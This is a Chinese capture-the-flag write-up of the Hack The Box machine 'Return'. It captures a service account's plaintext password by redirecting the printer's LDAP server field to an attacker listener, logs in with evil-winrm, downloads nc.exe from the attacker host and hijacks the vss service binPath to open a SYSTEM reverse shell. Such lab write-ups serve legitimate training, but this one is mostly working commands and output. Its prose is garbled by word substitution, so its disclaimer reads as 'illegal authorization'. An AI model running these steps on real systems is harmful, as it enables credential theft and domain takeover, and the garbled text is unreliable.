免责申明

本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用,请不要将文中应用的工具和浸透思路用于任何非法用处,对此产生的所有结果,自己不承当任何责任,也不对造成的任何误用或侵害负责。

服务探测

┌──(rootkali)-[~/htb/return]└─# nmap -sV -Pn 10.10.11.108 -p-Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-27 22:40 ESTNmap scan report for 10.10.11.108Host is up (0.34s latency).Not shown: 65508 closed portsPORT      STATE    SERVICE       VERSION53/tcp    open     domain        Simple DNS Plus80/tcp    open     http          Microsoft IIS httpd 10.088/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2021-11-28 04:22:19Z)135/tcp   open     msrpc         Microsoft Windows RPC139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)445/tcp   open     microsoft-ds?464/tcp   open     kpasswd5?593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0636/tcp   open     tcpwrapped3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)3269/tcp  open     tcpwrapped5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)9389/tcp  open     mc-nmf        .NET Message Framing22752/tcp filtered unknown47001/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)49664/tcp open     msrpc         Microsoft Windows RPC49665/tcp open     msrpc         Microsoft Windows RPC49666/tcp open     msrpc         Microsoft Windows RPC49667/tcp open     msrpc         Microsoft Windows RPC49671/tcp open     msrpc         Microsoft Windows RPC49674/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.049675/tcp open     msrpc         Microsoft Windows RPC49679/tcp open     msrpc         Microsoft Windows RPC49682/tcp open     msrpc         Microsoft Windows RPC49694/tcp open     msrpc         Microsoft Windows RPC54599/tcp open     msrpc         Microsoft Windows RPCService Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 1426.09 seconds

能够看见开启了很多服务,http,SMB,ldap等

enum4linux没有发现能够匿名登录的分享文件夹

目录爆破没有能够利用的信息

流动目录

浏览器关上80端口服务,首页是一个打印机的展现页面

关上settings页面,展现了一个打印机的设置页。

咱们用以下关键字

ldap windows printer 389 exploit

在谷歌找到了这篇文章

注意这段话:

To exploit this weakness, we simply need to reconfigure the MFP to use a different IP address for the LDAP server. Obviously, the selected IP address needs to be under our control and listening on port 389 (unsecured LDAP). When the MFP eventually makes an LDAP query, it should transmit the credentials back to us in plaintext.

当把Server Address字段换成一个咱们能够管制的机器,ldap服务就会以明文返回一个治理明码

咱们在settings页面,把Server Address改成10.10.14.15(就是tun0的地址)

同时,在咱们的kali开启一个389端口的监听

点击update

收到ldap给咱们的返回:

┌──(rootkali)-[~/htb/return]└─# nc -lnvp 389                listening on [any] 389 ...connect to [10.10.14.15] from (UNKNOWN) [10.10.11.108] 633370*`%return\svc-printer�                       1edFg43012!!

svc-printer是账户信息

1edFg43012!!就是治理明码

用evil-winrm连贯,拿到初始shell

┌──(rootkali)-[~/htb/return]└─# evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'                                                                                                                                                                         1 ⨯Evil-WinRM shell v3.2Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoamireturn\svc-printer

提权

查看本账号权限:

*Evil-WinRM* PS C:\Users\svc-printer\desktop> whoami /privPRIVILEGES INFORMATION----------------------Privilege Name                Description                         State============================= =================================== =======SeMachineAccountPrivilege     Add workstations to domain          EnabledSeLoadDriverPrivilege         Load and unload device drivers      EnabledSeSystemtimePrivilege         Change the system time              EnabledSeBackupPrivilege             Back up files and directories       EnabledSeRestorePrivilege            Restore files and directories       EnabledSeShutdownPrivilege           Shut down the system                EnabledSeChangeNotifyPrivilege       Bypass traverse checking            EnabledSeRemoteShutdownPrivilege     Force shutdown from a remote system EnabledSeIncreaseWorkingSetPrivilege Increase a process working set      EnabledSeTimeZonePrivilege           Change the time zone                Enabled

查看本账号信息:

*Evil-WinRM* PS C:\Users\svc-printer\desktop> net user svc-printerUser name                    svc-printerFull Name                    SVCPrinterComment                      Service Account for PrinterUser's commentCountry/region code          000 (System Default)Account active               YesAccount expires              NeverPassword last set            5/26/2021 12:15:13 AMPassword expires             NeverPassword changeable          5/27/2021 12:15:13 AMPassword required            YesUser may change password     YesWorkstations allowed         AllLogon scriptUser profileHome directoryLast logon                   11/30/2021 8:10:04 AMLogon hours allowed          AllLocal Group Memberships      *Print Operators      *Remote Management Use                             *Server OperatorsGlobal Group memberships     *Domain UsersThe command completed successfully.

注意咱们在Server Operators组中,因而 咱们领有批改服务配置,重启服务的权限

把nc从kali下载到靶机:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.15:8000/nc.exe','C:\Users\svc-printer\desktop\nc.exe')"

批改vss服务的二进制文件门路

sc.exe config vss binPath="C:\Users\svc-printer\desktop\nc.exe -e cmd.exe 10.10.14.15 4242"

与此同时在kali开启监听端口4242

nc -lnvp 4242

重启vss服务

*Evil-WinRM* PS C:\Users\svc-printer\desktop> sc.exe stop vss[SC] ControlService FAILED 1062:The service has not been started.*Evil-WinRM* PS C:\Users\svc-printer\desktop> sc.exe start vss[SC] StartService FAILED 1053:The service did not respond to the start or control request in a timely fashion.

拿到system的反弹shell

┌──(rootkali)-[~/htb/return]└─# nc -lvnp 4242                                                                                                                                                                                                                       1 ⨯listening on [any] 4242 ...connect to [10.10.14.15] from (UNKNOWN) [10.10.11.108] 61869Microsoft Windows [Version 10.0.17763.107](c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamiwhoamint authority\system